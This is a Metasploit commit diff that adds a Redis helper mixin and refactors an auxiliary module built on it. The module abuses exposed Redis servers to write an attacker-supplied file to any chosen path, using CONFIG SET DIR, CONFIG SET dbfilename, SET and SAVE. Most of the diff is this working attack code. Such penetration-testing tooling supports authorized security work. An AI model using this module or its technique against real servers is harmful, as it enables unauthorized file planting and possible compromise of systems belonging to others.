First pass at redis mixin
parent
4cc7853ad8
commit
21ab4e96e5
|
@ -27,3 +27,4 @@ require 'msf/core/auxiliary/natpmp'
|
||||||
require 'msf/core/auxiliary/iax2'
|
require 'msf/core/auxiliary/iax2'
|
||||||
require 'msf/core/auxiliary/ntp'
|
require 'msf/core/auxiliary/ntp'
|
||||||
require 'msf/core/auxiliary/pii'
|
require 'msf/core/auxiliary/pii'
|
||||||
|
require 'msf/core/auxiliary/redis'
|
||||||
|
|
|
@ -0,0 +1,70 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'msf/core/exploit'
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This module provides methods for working with redis
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module Auxiliary::Redis
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Auxiliary::Scanner
|
||||||
|
include Auxiliary::Report
|
||||||
|
|
||||||
|
#
|
||||||
|
# Initializes an instance of an auxiliary module that interacts with Redis
|
||||||
|
#
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(6379),
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def peer
|
||||||
|
"#{rhost}:#{rport}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def read_timeout
|
||||||
|
datastore['READ_TIMEOUT']
|
||||||
|
end
|
||||||
|
|
||||||
|
def redis_proto(commands)
|
||||||
|
return if commands.blank?
|
||||||
|
command = "*#{commands.length}\r\n"
|
||||||
|
commands.each do |c|
|
||||||
|
command << "$#{c.length}\r\n#{c}\r\n"
|
||||||
|
end
|
||||||
|
command
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_redis(version)
|
||||||
|
report_service(
|
||||||
|
host: rhost,
|
||||||
|
port: rport,
|
||||||
|
proto: 'tcp',
|
||||||
|
name: 'redis',
|
||||||
|
info: "version #{version}"
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_redis_command(*commands)
|
||||||
|
sock.put(redis_proto(commands))
|
||||||
|
data = sock.get_once(-1, read_timeout)
|
||||||
|
return unless data
|
||||||
|
data.strip!
|
||||||
|
vprint_status("#{peer} -- redis command '#{commands.join(' ')}' got #{data}")
|
||||||
|
data
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -6,9 +6,7 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Auxiliary::Redis
|
||||||
include Msf::Auxiliary::Scanner
|
|
||||||
include Msf::Auxiliary::Report
|
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(
|
super(
|
||||||
|
@ -35,74 +33,39 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
)
|
)
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(6379),
|
OptPath.new('LocalFile', [false, 'Local file to be uploaded']),
|
||||||
OptPath.new('LocalFile', [true, 'Local file to be uploaded']),
|
OptString.new('RemoteFile', [false, 'Remote file path'])
|
||||||
OptString.new('RemoteFile', [true, 'Remote file path'])
|
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2])
|
|
||||||
]
|
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
def read_timeout
|
|
||||||
datastore['READ_TIMEOUT']
|
|
||||||
end
|
|
||||||
|
|
||||||
def redis_proto(parts)
|
|
||||||
return if parts.blank?
|
|
||||||
command = "*#{parts.length}\r\n"
|
|
||||||
parts.each do |p|
|
|
||||||
command << "$#{p.length}\r\n#{p}\r\n"
|
|
||||||
end
|
|
||||||
command
|
|
||||||
end
|
|
||||||
|
|
||||||
def send_command(command)
|
|
||||||
command = redis_proto(command)
|
|
||||||
sock.put(command)
|
|
||||||
sock.get_once(-1, read_timeout)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def send_file(path, content)
|
def send_file(path, content)
|
||||||
dirname = File.dirname(path)
|
dirname = File.dirname(path)
|
||||||
basename = File.basename(path)
|
basename = File.basename(path)
|
||||||
|
|
||||||
|
original_dir = send_redis_command('CONFIG', 'GET', 'DIR')
|
||||||
|
data = send_redis_command('CONFIG', 'SET', 'DIR', dirname)
|
||||||
|
return unless data.include?('+OK')
|
||||||
|
|
||||||
|
data = send_redis_command('CONFIG', 'SET', 'dbfilename', basename)
|
||||||
|
return unless data.include?('+OK')
|
||||||
|
|
||||||
key = Rex::Text.rand_text_alpha(32)
|
key = Rex::Text.rand_text_alpha(32)
|
||||||
command = ['CONFIG', 'SET', 'DIR', "#{dirname}"]
|
data = send_redis_command('SET', key, content)
|
||||||
data = send_command(command)
|
|
||||||
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
|
|
||||||
return unless data.include?('+OK')
|
return unless data.include?('+OK')
|
||||||
|
|
||||||
command = ['CONFIG', 'SET', 'dbfilename', "#{basename}"]
|
data = send_redis_command('SAVE')
|
||||||
data = send_command(command)
|
|
||||||
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
|
|
||||||
return unless data.include?('+OK')
|
return unless data.include?('+OK')
|
||||||
|
print_good("#{peer} -- saved file to #{path}")
|
||||||
|
|
||||||
command = ['SET', "#{key}", "#{content}"]
|
data = send_redis_command('DEL', key)
|
||||||
data = send_command(command)
|
|
||||||
|
|
||||||
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
|
|
||||||
return unless data.include?('+OK')
|
|
||||||
print_good("#{rhost}:#{rport}: save file to #{path}")
|
|
||||||
|
|
||||||
command = ['SAVE']
|
|
||||||
data = send_command(command)
|
|
||||||
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
|
|
||||||
return unless data.include?('+OK')
|
|
||||||
|
|
||||||
command = ['DEL', "#{key}"]
|
|
||||||
data = send_command(command)
|
|
||||||
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
|
|
||||||
return unless data.include?('+OK')
|
return unless data.include?('+OK')
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
connect
|
connect
|
||||||
data = send_command(['INFO'])
|
data = send_redis_command('INFO')
|
||||||
disconnect
|
disconnect
|
||||||
if data && /redis_version:(?<redis_version>\S+)/ =~ data
|
if data && /redis_version:(?<redis_version>\S+)/ =~ data
|
||||||
report_redis(redis_version)
|
report_redis(redis_version)
|
||||||
|
@ -112,29 +75,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def report_redis(version)
|
|
||||||
report_service(
|
|
||||||
host: rhost,
|
|
||||||
port: rport,
|
|
||||||
proto: 'tcp',
|
|
||||||
name: 'redis',
|
|
||||||
info: "version #{version}"
|
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
def peer
|
|
||||||
"#{rhost}:#{rport}"
|
|
||||||
end
|
|
||||||
|
|
||||||
def setup
|
def setup
|
||||||
@upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n"
|
@upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n" if datastore['LocalFile']
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(_ip)
|
def run_host(_ip)
|
||||||
|
fail_with(Failure::BadConfig, "LocalFile must be set") unless datastore['LocalFile']
|
||||||
|
fail_with(Failure::BadConfig, "RemoteFile must be set") unless datastore['RemoteFile']
|
||||||
return unless check == Exploit::CheckCode::Vulnerable
|
return unless check == Exploit::CheckCode::Vulnerable
|
||||||
|
|
||||||
connect
|
connect
|
||||||
unless (res = send_command(['PING']))
|
unless (res = send_redis_command('PING'))
|
||||||
vprint_error("#{peer} -- did not respond to our redis PING")
|
vprint_error("#{peer} -- did not respond to our redis PING")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue